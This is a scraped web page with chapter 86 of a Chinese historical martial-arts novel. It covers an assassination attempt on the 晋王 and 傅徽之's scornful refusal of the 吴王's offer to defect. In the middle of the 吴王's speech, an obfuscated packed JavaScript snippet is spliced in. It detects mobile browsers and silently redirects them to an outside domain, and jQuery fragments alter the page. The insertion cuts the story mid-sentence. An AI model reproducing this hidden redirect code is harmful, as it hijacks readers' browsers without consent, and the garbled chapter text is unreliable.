默认冷灰
24号文字
方正启体

86. 第86章

作者:水底青山本书字数:K更新时间:
    鲜血滚烫,言心莹只觉眼前血红一片。


    她第一回动了杀心。立时出剑刺向那尚未将剑从人喉中抽出的人。


    另两名黑衣人也立刻动了,一人出剑去救,一人剑刺言心莹。


    言心莹却忽然将身一扭,剑峰突转,将来救人的黑衣人的右臂至肩划了一道。这一扭身也让身后黑衣人那剑擦身而过。


    而后言心莹也不顾身后的黑衣人,仍回剑刺那杀人者。


    可杀人者也已抽出了剑,几乎在同时挺剑刺她。


    言心莹这次没有收剑去守,也知道自己身后也有剑来,只拼着与眼前人同归于尽的决心刺出手中的剑。


    在她的剑入黑衣人腹时,黑衣人手上失力,剑垂了下去。可同时言心莹左肩急痛,她立时向前撞去,以免背后剑锋入肉太深。如此一来手中剑便直透面前人后腰而出。


    黑衣人支持不住仰面倒下去,言心莹也不受控制地向前扑地,将随黑衣人撞地时她翻身滚到一旁。


    最后未伤的黑衣人几步上前欲再刺言心莹,忽听马蹄急响。


    他与另一名站着的黑衣人交换眼神,迅速去架起倒地的黑衣人便走。


    言心莹仍仰倒在地上,不愿起身。


    方才与她并肩作战的人如今都倒在身侧。她缓缓转面去看,只一眼便又别过头,不忍再看。


    她并非没有见过死人。


    可是眼见大片同袍死去,还是头一回。纵是这同袍只做了一刻。


    她终于真正理解为什么傅徽之要说,一场谋叛,不知有多少无辜军民会流血。


    这还仅仅是一场刺杀,只她看见的便死了近百人。这些人也有父母兄弟妻儿,本该是活生生的人啊。


    是因为邱良命这些人服从她,而她又命他们死守。以至上一刻还鲜活的生命,转瞬间逝去。言心莹简直要忍不住跪地痛哭。


    可她还不能。


    马蹄声渐近。言心莹慢慢爬起来,看见了驰马在最前方的邱瑞。


    邱瑞转眼便到她面前,她唤道:“阿舅……”


    邱瑞在马上看得清楚,言心莹肩上、后腰都是血。急道:“阿莹你伤了?”


    “我没事。阿舅快去救晋王,东面。”


    邱瑞吩咐从骑:“你们两个留下护卫这娘子。”说罢引着其余人东去。


    …………


    震地的马蹄声传来。十名黑衣人互望一眼,而后死死盯着傅徽之,缓缓后退。他们没向竹林中逃,而是继续向东去了。


    邱瑞远远看见晋王时,又见晋王身前一像极傅徽之的人转身,不由心下微惊。


    但他面上仍不动声色,下马行至晋王面前拜道:“臣护主来迟!”


    晋王连忙扶人:“将军快请起。”


    一旁邱良急问:“爹,你见到阿莹了么?她如何了?”


    邱瑞原本看邱良浑身是血,心下焦急。又听他问起言心莹,想起傅徽之在此,不由又去寻傅徽之的身影。


    傅徽之原本想不惊动他人,慢慢离开的,闻言果然停步。


    邱瑞又故意略高了声说道:“我已救下了阿莹,放心。”


    晋王忽也意识到他的恩人已不在身侧,连忙转身,便见自己的佩刀入土三分,好好地插在眼前,犹自晃动。


    晋王拔刀归入鞘中,对着慢慢远去的恩人的背影,急唤:“恩人!恩人留步!”


    傅徽之停步却不回头。


    晋王追了上去,身后立即有甲士跟上护卫。


    邱瑞确认邱良虽伤重,但不至危及性命,也扶着邱良上前。


    晋王在距傅徽之三步远处停步,问:“敢问恩人姓甚名谁?”


    “名姓何足道。”傅徽之声音中听不出什么情绪。


    晋王又道:“诚邀恩人过府小酌,聊表感激之情。”


    “贵人金枝玉叶,某不过山野鄙人,不敢污尊目。”傅徽之终是回身一礼,“即便告辞。”说罢不等回应,转身便走。


    立时有一甲士上前喝道:“大胆,知道我们殿下是谁么?”


    傅徽之脚步顿了顿。


    “放肆!”晋王敛眉斥道,那甲士立时垂首后退。


    晋王看着傅徽之复迈步行远,直到隐入夜色后,方又问左右:“有人识得他么?”


    左右无对,邱瑞与邱良自也不会答。


    晋王叹一回,低声道:“总觉得似曾相识……”


    适才傅徽之原本在傅时文坟前,正欲寻马回去时,却忽然听见不远处有短兵相接之声。这才循声去救了人。


    又听邱良提及言心莹,傅徽之便料是言心莹听说晋王今日行猎,唯恐有失,便先来救人。请邱瑞随后带人来救。


    虽然邱瑞说言心莹没事了,但面对的既是这样的刺客,傅徽之实在放心不下。他要去寻自己的马,再骑马去寻人。


    有蹄声向他而来,他不觉得会是邱瑞或邱良,邱良重伤,邱瑞还要护送晋王回去。


    傅徽之假作不知乘马者是向他而来,继续往前走。直到有人在他面前立马,才不得不停下。


    当先一人面蒙黑巾,下马道:“我家主人请公子说话。”


    面前只有两骑,傅徽之自然而然看向了这人身后缓缓走来的头戴席帽的一人。


    只听那人说道:“公子真是好武艺。”


    辨声音,不过四十余。


    傅徽之下意识看向他的手,右手无名指与小指屈起,比起左手,手指也细很多。


    傅徽之冷冷道:“北面来的?”


    戴帽人默然片刻,由衷赞道:“好眼力。”


    傅徽之不再看他:“竟敢刺杀我朝亲王。劝汝从何处来归何处去。若欲在京城作乱,只怕命休。”


    傅徽之怕牵连言心莹,刻意没提他们与庞家同谋之事,只作不知。


    吴王道:“不过一个亲王,公子难道不知我等更想刺杀的是皇帝么?”


    傅徽之冷笑,不再答他。


    “公子难道不想?这乱世平定,你祖父当居首功。你们先帝看得明白,对你傅家恩宠有加。可新帝即位后,竟以你傅家欲反为由,将你全族长流三千里。公子这么多年在外,该是在寻翻案凭据?”


    此人竟也识得他,傅徽之微惊。想必今日庞家人也看见他了,告诉了此人。


    吴王继续说道:“难道今时今日,公子还未看清?此一事不过因着上位者的疑心。凭据是真是假,你父兄反与不反,当真重要么?纵是你当真寻到了翻案证见,你以为你们皇帝会如何?会痛哭流涕、悔恨自己的昏庸?还是会昭告天下是他错冤了人、你傅家无罪?我看你若有证据呈上去,他们第一个杀的便是你。”吴王忽笑一声,“不,你怕是没机会呈上证据便会被人杀了。如此皇家的丑事才不会人尽皆知。”


    听到傅徽之指骨格格有声,吴王意甚满,道:“公子勇武过人,怎可埋没山野间。此地不能知人用人,公子何不归越?吾当于陛下面前保奏君为大将军。四十年来,我朝二十万军兵,习练不懈。终有克复中原之日。到时必让公子手刃皇帝,以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540447|186634||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    报此仇。”


    二十万,傅徽之只觉可笑。怕是十万都没有,不然,何至仅据一城一地。


    吴王又道:“况且,当年赵国公麾下十八虎将的子侄如今也有位高权重的,想必多有对皇帝处置你傅家不满的。公子若有心,何不游说他们一同归越,到时……”


    傅徽之打断他,一字一字道:“安敢如此。”


    吴王沉了声音:“什么?”


    傅徽之睥睨吴王:“某再失势,岂有屈身鼠辈之理。”


    “你!”侍卫的刀已半出鞘。


    吴王右手三指也倏然紧握。他竟然觉出几分恐惧,他已经很多年没有这样的感觉了。


    眼前有帽丝阻隔,纵有月光,他也看不清傅徽之的眼神。可他莫名觉得此人已透过帽丝看清了他的双目、他的内心,而他却无处遁形。


    下一刻,傅徽之竟背过身去,丝毫不担心他们在后暗刺冷剑。


    傅徽之继续说道:“当年我祖父率兵将你朝众打得龟缩一隅。四十余年来,我朝不曾遣一兵一将,只容尔等苟延残喘。尔等仍不知为何?当真以为我等是不敢为?不能为?只不愿为罢了。千乘之国,何惧一城之地!若圣上有意,尔等以为凭尔弱旅真能当我王师一击?不过怜尔军民,望尔等早日醒悟,率众归降。”


    他越说声音越高,字字掷地有声:“不想四十年来尔等屡犯我边境,伤我军民!却还是!不得进一寸,据一土,徒令汝军民死伤耳。而时至今日,尔等仍不知悔悟,仍欲效蚍蜉撼树、螳臂当车,自不量力!”


    侍卫已拔刀出鞘。


    “实乃……”傅徽之复转身,看都不看那拔刀侍卫一眼,只盯着吴王道,“冥顽不灵!愚昧无知!愚之极也——”


    他们并非身在山谷,可吴王却觉得傅徽之的话荡在他耳边,久久不散。


    侍卫胸膛急遽起伏,大叫一声,朝傅徽之挥刀便砍。


    吴王左臂一举,已拦下了他。


    傅徽之最后说道:“听闻十年前吴王本是认定的储君,却因废臂,无缘太子之位。我知你越发恨我朝众军民。可要我说,‘古来征战几人回’,只废一臂,性命尚全,实乃万幸。须知感激。若再执迷不悟,恐这身性命都难保全。”说罢,无视举向他的刀锋,目不斜视地自他们身边过去了。


    傅徽之将刻薄的话说得十分诚恳。可别人却不这么想。


    侍卫欲举刀去追砍,可吴王的手臂仍拦在他身前,他只能唤:“殿下!”


    吴王不收手,也不作声。他便只能眼睁睁地看着傅徽之走远。


    到再看不清傅徽之背影时,侍卫方恨恨道:“殿下为何拦我!”


    吴王道:“你我二人合力都非他之敌。”说着又垂首,挣扎着想伸直右手曲着的二指,可无论怎么使力,那二指皆纹丝不动。


    他只能曲起另三指,假作右手并无异样。又望向傅徽之背影消失的方向,咬牙道:“……若是我右臂未废,或能一战。”


    “那又如何?此人欺人太甚,我便是拼死也要砍下他一只手臂来。何况殿下还有二十义子在此,难道杀不得他?”


    席帽下吴王的嘴角终于牵起,其笑也森森,令人不寒而栗。


    “此人锋芒毕露,岂堪长久?我可舍不得以我辛苦培养出来的众多孩儿的性命去换一个必死之人。”


    吴王倏尔回顾,只见黑影一闪。


    他早知身后有庞家人跟着。


    “我本欲救他一救……”吴王扳鞍上马,摇首道,“可惜……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)